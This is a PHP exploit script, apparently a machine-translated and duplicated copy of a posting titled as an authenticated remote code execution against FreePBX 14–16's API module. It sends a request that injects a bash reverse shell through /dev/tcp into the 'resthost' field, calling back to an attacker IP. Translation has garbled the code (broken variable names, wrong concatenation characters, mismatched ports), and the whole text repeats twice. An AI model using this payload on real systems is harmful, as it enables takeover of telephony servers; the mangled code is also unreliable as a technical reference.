#利用标题: freepbx 16-远程代码执行(RCE)(身份验证)
#利用作者:冷Z3RO
#日期: 6/1/2024
#测试在: 14,15,16
#vendor: https://www.freepbx.org/
php
///
///freepbx [14,15,16] API模块身份验证的RCE
///原始difcon ||
///COD [3] D由冷Z3RO
///
$ url='10 .10.10.186'; //远程主机
$ backConnectip='192.168.0.2';
$ port='4444';
$ phpsessid='任何有效的会话甚至扩展程序';
echo'检查$ url \ n';
$ url=trim($ url);
$ ch=curl_init();
curl_setopt($ ch,curlopt_url,'http://'。$ url。'/admin/admin/ajax.php?module=apicommand=apicommand=generatedocs');
curl_setopt($ ch,curlopt_returntransfer,true);
curl_setopt($ ch,curlopt_customrequest,'post');
curl_setopt($ ch,curlopt_ssl_verifyHost,0);
curl_setopt($ ch,curlopt_ssl_verifypeer,0);
curl_setopt($ ch,curlopt_connecttimeout,2);
curl_setopt($ ch,curlopt_timeout,2);
curl_setopt($ ch,curlopt_httpheader,[
'referer: http://'。$ url。'/admin/config.php?display=api',
'content-type:应用程序/x-www-form-urlencoded',
);
curl_setopt($ ch,curlopt_cookie,'phpsessid='。$ phpsessid);
curl_setopt($ ch,curlopt_postfields,'scopes=resthost=http://'。$ backConnectip。'/$(bash -1%26/dev/tcp/tcp/'.qunbackconnectip.'/44444 0%261)');
curl_setopt($ ch,curlopt_ssl_verifyhost,false);
curl_setopt($ ch,curlopt_ssl_verifypeer,false);
echo $ wendesp=curl_exec($ ch)。'\ n';
curl_close($ ch);
?
#利用作者:冷Z3RO
#日期: 6/1/2024
#测试在: 14,15,16
#vendor: https://www.freepbx.org/
php
///
///freepbx [14,15,16] API模块身份验证的RCE
///原始difcon ||
///
$ url='10 .10.10.186'; //远程主机
$ backConnectip='192.168.0.2';
$ port='4444';
$ phpsessid='任何有效的会话甚至扩展程序';
echo'检查$ url \ n';
$ url=trim($ url);
$ ch=curl_init();
curl_setopt($ ch,curlopt_url,'http://'。$ url。'/admin/admin/ajax.php?module=apicommand=apicommand=generatedocs');
curl_setopt($ ch,curlopt_returntransfer,true);
curl_setopt($ ch,curlopt_customrequest,'post');
curl_setopt($ ch,curlopt_ssl_verifyHost,0);
curl_setopt($ ch,curlopt_ssl_verifypeer,0);
curl_setopt($ ch,curlopt_connecttimeout,2);
curl_setopt($ ch,curlopt_timeout,2);
curl_setopt($ ch,curlopt_httpheader,[
'referer: http://'。$ url。'/admin/config.php?display=api',
'content-type:应用程序/x-www-form-urlencoded',
);
curl_setopt($ ch,curlopt_cookie,'phpsessid='。$ phpsessid);
curl_setopt($ ch,curlopt_postfields,'scopes=resthost=http://'。$ backConnectip。'/$(bash -1%26/dev/tcp/tcp/'.qunbackconnectip.'/44444 0%261)');
curl_setopt($ ch,curlopt_ssl_verifyhost,false);
curl_setopt($ ch,curlopt_ssl_verifypeer,false);
echo $ wendesp=curl_exec($ ch)。'\ n';
curl_close($ ch);
?